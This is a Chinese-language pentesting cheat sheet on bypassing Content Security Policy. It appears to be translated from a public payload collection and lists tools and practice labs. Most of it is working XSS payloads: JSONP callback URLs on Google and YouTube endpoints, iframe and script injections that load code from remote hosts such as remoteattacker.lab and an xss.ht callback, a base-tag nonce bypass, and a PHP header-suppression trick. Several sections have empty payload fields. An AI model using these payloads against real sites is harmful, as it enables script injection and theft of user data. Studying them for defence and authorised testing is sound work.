CSP 绕过 (CSP Bypass)
内容安全策略 (CSP) 是一种安全特性,有助于防止 Web 应用程序中的跨站脚本 (XSS)、数据注入攻击和其他代码注入漏洞。它的工作原理是指定允许在网页上加载和执行哪些内容源(如脚本、样式、图像等)。
摘要 (Summary)
- 工具 (#tools)
- 利用 JSONP 绕过 CSP (#bypass-csp-using-jsonp)
- 绕过 CSP default-src (#bypass-csp-default-src)
- 绕过 CSP inline eval (#bypass-csp-inline-eval)
- 绕过 CSP unsafe-inline (#bypass-csp-unsafe-inline)
- 绕过 CSP script-src self (#bypass-csp-script-src-self)
- 绕过 CSP script-src data (#bypass-csp-script-src-data)
- 绕过 CSP nonce (#bypass-csp-nonce)
- 绕过由 PHP 发送的 CSP 响应头 (#bypass-csp-header-sent-by-php)
- 靶场 (Labs)
- 参考资料 (#references)
工具 (Tools)
- gmsgadget.com - GMSGadget (Give Me a Script Gadget) 是 JavaScript 变件 (gadgets) 的集合,可用于绕过 XSS 防御措施,例如内容安全策略 (CSP) 和 HTML 净化器(如 DOMPurify)。
- csp-evaluator.withgoogle.com - CSP Evaluator 允许开发人员和安全专家检查内容安全策略 (CSP) 是否可以作为抵御跨站脚本攻击的强力防御手段。
利用 JSONP 绕过 CSP
前提条件:
- CSP:
script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
载荷:
使用 CSP 中列出的白名单源中的回调函数。
- Google Search:
//google.com/complete/search?client=chrome&jsonp=alert(1); - Google Account:
https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) - Google Translate:
https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert(); - Youtube:
https://www.youtube.com/oembed?callback=alert; - Intruders/jsonp_endpoint.txt
- JSONBee/jsonp.txt
绕过 CSP default-src
前提条件:
- 类似于
Content-Security-Policy: default-src 'self' 'unsafe-inline';的 CSP。
载荷:
http://example.lab/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//remoteattacker.lab/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;
script=document.createElement('script');
script.src='//remoteattacker.lab/csp.js';
window.frames[0].document.head.appendChild(script);
绕过 CSP inline eval
前提条件:
- 含有
inline或eval的 CSP。
载荷:
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
来源:Rhynorater
绕过 CSP script-src self
前提条件:
- 类似于
script-src self的 CSP。
载荷:
来源:@akita_zen
绕过 CSP script-src data
前提条件:
- 正如 Mozilla 官方文档 中警告的那样,类似于
script-src 'self' data:的 CSP。
载荷:
来源:@404death
绕过 CSP unsafe-inline
前提条件:
- CSP:
script-src https://google.com 'unsafe-inline';
载荷:
绕过 CSP nonce
前提条件:
- 类似于
script-src 'nonce-RANDOM_NONCE'的 CSP。 - 使用相对链接导入的 JS 文件:
<script src='/PATH.js'></script>
载荷:
- 注入一个 base 标签。
- 在与网站脚本相同的路径下托管您自定义的 JS 文件。
绕过由 PHP 发送的 CSP 响应头
前提条件:
- 由 PHP
header()函数发送的 CSP。
载荷:
在默认的 php:apache 镜像配置中,如果响应数据已经写入,PHP 则无法修改响应头。当 PHP 引擎抛出警告 (Warning) 时,就会发生这种情况。
以下是产生警告的几种方式:
- 1000 个 $_GET 参数
- 1000 个 $_POST 参数
- 20 个 $_FILES 文件
如果配置为显示 Warning,您应该会看到以下内容:
- Warning:
PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in Unknown on line 0 - Warning:
Cannot modify header information - headers already sent in /var/www/html/index.php on line 2
来源:@pilvar222
靶场 (Labs)
- Root Me - CSP Bypass - Inline Code
- Root Me - CSP Bypass - Nonce
- Root Me - CSP Bypass - Nonce 2
- Root Me - CSP Bypass - Dangling Markup
- Root Me - CSP Bypass - Dangling Markup 2
- Root Me - CSP Bypass - JSONP